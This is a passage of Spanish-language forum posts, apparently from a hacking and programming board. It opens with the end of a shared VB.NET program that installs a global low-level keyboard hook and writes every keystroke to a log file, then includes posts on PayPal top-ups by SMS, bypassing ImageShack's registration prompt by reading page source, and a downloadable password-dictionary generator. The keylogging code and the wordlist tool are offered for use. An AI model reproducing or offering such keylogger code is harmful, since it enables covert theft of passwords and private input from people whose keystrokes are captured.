                'Segun el código devuelto a la pulsación de la tecla (257,258)
                Select Case wParam
                    Case Constantes.WM_KEYDOWN, Constantes.WM_SYSKEYDOWN
                        Dim key As Char = ChrW(lParam.vkCode) 'Imprimimos el caracter ASCII en pantalla
                        sr.Write(key)
                End Select
                sr.Close()
                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
            End If
        Catch ex As Exception
        End Try
        Return 1
    End Function
    Private Sub Iniciar_Hook()
        Try
            'Asociamos a dicho procedimiento un puntero hacia el controlador del Hook (HookProcHandler)
            CallbackDelegate = New HookProc(AddressOf HookprocHandler)
            If hook <> 0 Then
                'Desinstalamos el Hook
                UnhookWindowsHookEx(hook)
                hook = IntPtr.Zero
                btn_hook.Text = "Hookear Teclado"
            Else
                'Instalamos un Hook Global (LowLevelKeyBoard) y llamamos a la funcion HookProcHandler
                'Los ultimos dos parametros indican el HINSTANCE y PID, se utilizarian en caso de Hook local _
                'empleados en juegos y demás.
                hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, CallbackDelegate, 0, 0)
                btn_hook.Text = "Desinstalar Hook"
                FileSystem.Kill(CurDir() & "\log.txt")
            End If
        Catch ex As Exception
        End Try
 
    End Sub
    Private Sub btn_hook_Click(sender As System.Object, e As System.EventArgs) Handles btn_hook.Click
        Iniciar_Hook()
    End Sub
End Class
 

Espero que os haya gustado el aporte. Cualquier duda que pueda surgir con el tema posteadla aquí, no olvideis que esto es lo más básico, los hooks tienen muchísimo juego.

Un Saludo

Buenas noches,

Necesito pagar un Hosting urgentemente y he estado indagando BASTANTE sobre como añadir fondos a mi cuenta de PayPal mediante SMS, ya que no dispongo de tarjeta de crédito ni de cuenta bancaria a mi poder

Lo único que he encontrado es una inutil aplicación para SmartPhones para enviar dinero a un destinatario con cuenta PayPal. También encontré lo mismo pero desde la dirección m.paypal.es, que es basicamente lo mismo.

Os lanzo mi pregunta,

¿Cómo demonios INGRESO fondos en mi cuenta de PayPal desde un teléfono móvil? No quiero enviar nada, solo ingresar fondos

Cada día pierdo la esperanza en este tipo de métodos...

Gracias.

Buenas noches foreros,

no sé si se puede caracterizar de aporte, me explico, esta noche mientras escribía la publicación de un aporte para el foro de .NET he necesitado tirar de la famosa página de hosting gratuito de imágenes Imageshack.us

He alucinado cuando pedía que te registraras para recibir el link directo de las fotos subidas, pero como sabía que había gato encerrado me ha dado por mirar el código HTML de la página y he conseguido los links a las fotos sin tener que registrarme en la Web. Bastante cómodo si utilizas el servicio de hosting gratuito de fotos con poca frecuencia.

Os explico a partir de imágenes:

Cuando subis una imagen cualquiera a Imageshack.us os saltará este formulario de registro que nos dice que los links de las fotos subidas serán enviados a nuestro correo electrónico una vez registrados



Como podeis ver el formulario de registro saltó. Acto seguido, como nuestro navegador nos deja ver el código fuente de la WEB lo visualizamos y hacemos una búsqueda presionando CTRL+F. En el campo de búsqueda introducimos my-images y nos llevará a un link que contendrá al final de la cadena el nombre de la foto que subimos (si nuestra foto se llama pedobear.jpg pues la cadena del link terminara en pedobear.jpg)



Copiamos el link encontrado mediante la búsqueda y navegamos hasta él con nuestro navegador y bualá, saldrá en pantalla nuestra foto subida sin necesidad de registrarnos. Ya ahí como sabreis copias el link verdadero de la foto y listo para pegar en BBCODE por ejemplo.

Saludos.

Buenas noches a todos los amantes de .NET,

llevaba unas semanas queriendo hacer un generador de diccionarios numérico y alfanumérico, pero no encontré la manera de implementar un código sencillo y práctico sin tener que llenar de sentencias de control y condicionales todos los procedimientos utilizados en el código.

Hoy, después de unas semanas de codear otros proyectos ya casi acabados o ya terminados se me ha ocurrido ponerme a dar por finalizada esta aplicación, y como ya lo he hecho la comparto con todos vosotros.

He de decir que solo tiene dos opciones de generación, pero en el Source podeis ver que los algoritmos que he utilizado para crear los diccionarios pueden ser utilizados para crear nuevos diccionarios, por ejemplo con simbolos, caracteres y demás.

Aquí os dejo unas capturas del programa y de los ficheros que contienen el output del generador de diccionarios:

GUI del programa:



Output de los diccionarios:



Como veis no es cosa de otro mundo, os dejo el Source del programa por si quereis experimentar un poquillo y seguir adelante con el proyecto:

http://www.4shared.com/rar/L_AjQLzh/file.html

La contraseña del archivo es: kub0x.NET

Cualquier fallo, sugerencia u optimización del code postearlo aquí en este tema.

Un saludo a todos.